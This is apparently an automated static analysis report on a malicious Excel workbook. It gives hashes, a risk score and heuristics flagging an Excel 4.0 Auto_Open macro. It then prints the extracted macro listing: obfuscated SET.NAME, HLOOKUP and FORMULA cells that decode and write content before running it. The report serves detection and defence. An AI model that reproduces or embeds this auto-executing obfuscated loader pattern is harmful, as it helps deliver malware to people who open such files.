Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6a98f3c944c49941…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:46:07 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: c79ea0ed77ad54e13138f9364175d7ab SHA-1: 2ded595ca1c9ad9ec0dc86553061097277b66891 SHA-256: 6a98f3c944c49941024254487acdac3e4d7b201dfc5c5bce43bb790cf8bd6ebf
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6377 bytes
SHA-256: 34063c8d7a889dd56c6bca70dcdd7f9c936c123079615de621a4a33058e1f775
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  pUQ
' 0018     21 LABEL : Cell Value, String Constant - agqRkZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C193 
' 0018     23 LABEL : Cell Value, String Constant - AxBrPVLS len=0 
' 0018     24 LABEL : Cell Value, String Constant - bjzRAQqPy len=0 
' 0018     20 LABEL : Cell Value, String Constant - fqGtn len=0 
' 0018     20 LABEL : Cell Value, String Constant - mPvIn len=0 
' 0018     26 LABEL : Cell Value, String Constant - niVHrStzHpD len=0 
' 0018     26 LABEL : Cell Value, String Constant - oThEqfCjrFg len=0 
' 0018     25 LABEL : Cell Value, String Constant - pnNMBFiKeq len=0 
' 0018     26 LABEL : Cell Value, String Constant - pPLKRxHdVNK len=0 
' 0018     23 LABEL : Cell Value, String Constant - PwIyePVK len=0 
' 0018     23 LABEL : Cell Value, String Constant - thWNXsBk len=0 
' 0018     25 LABEL : Cell Value, String Constant - TJjiPKZjAx len=0 
' 0018     21 LABEL : Cell Value, String Constant - TLHcIy len=0 
' 0018     24 LABEL : Cell Value, String Constant - vibNuKWPW len=0 
' 0018     22 LABEL : Cell Value, String Constant - vTPlszX len=0 
' 0018     23 LABEL : Cell Value, String Constant - WisdafAx len=0 
' 0018     27 LABEL : Cell Value, String Constant - xbVOwCOzynkM len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZixAbgqK len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZwRUiXJnyMX len=0 
' 0018     20 LABEL : Cell Value, String Constant - zyhgg len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  pUQ,C95,"SET.NAME("pPLKRxHdVNK",VALUE("0"))",""
'  pUQ,C99,"SET.NAME("pnNMBFiKeq",pPLKRxHdVNK)",""
'  pUQ,C104,"SET.NAME("PwIyePVK",pPLKRxHdVNK)",""
'  pUQ,C109,"SET.NAME("thWNXsBk",COUNTA(zyhgg))",""
'  pUQ,C111,"SET.NAME("agqRkZ",COUNTA(ZixAbgqK))",""
'  pUQ,C113,[],""
'  pUQ,C117,"SET.NAME("WisdafAx","")",""
'  pUQ,C121,"pnNMBFiKeq",""
'  pUQ,C124,"SET.NAME("oThEqfCjrFg",HLOOKUP("*",zyhgg,pnNMBFiKeq,FALSE))",""
'  pUQ,C127,"ZwRUiXJnyMX",""
'  pUQ,C131,"SET.NAME("bjzRAQqPy",pPLKRxHdVNK)",""
'  pUQ,C135,[],""
'  pUQ,C138,"bjzRAQqPy",""
'  pUQ,C141,"TLHcIy",""
'  pUQ,C146,"AxBrPVLS",""
'  pUQ,C151,"xbVOwCOzynkM",""
'  pUQ,C155,"SET.NAME("fqGtn",VALUE(HLOOKUP("*",ZixAbgqK,xbVOwCOzynkM,FALSE)))",""
'  pUQ,C160,"vibNuKWPW",""
'  pUQ,C164,"WisdafAx",""
'  pUQ,C168,"PwIyePVK",""
'  pUQ,C173,NEXT(),""
'  pUQ,C177,"mPvIn",""
'  pUQ,C179,"SET.NAME("f",INT(T(FORMULA(T(WisdafAx)&"",""&T(mPvIn)))))",""
'  pUQ,C183,"vTPlszX",""
'  pUQ,C187,NEXT(),""
'  pUQ,C190,RETURN(),""
'  pUQ,C217,"SET.NAME("TJjiPKZjAx",C95)",""
'  pUQ,C220,"zyhgg",""
'  pUQ,C224,"SET.NAME("ZixAbgqK",R56C12)",""
'  pUQ,C226,"SET.NAME("vTPlszX",235)",""
'  pUQ,C230,"SET.NAME("niVHrStzHpD",3)",""
'  pUQ,C234,TJjiPKZjAx(),""
'  pUQ,C235,HALT(),""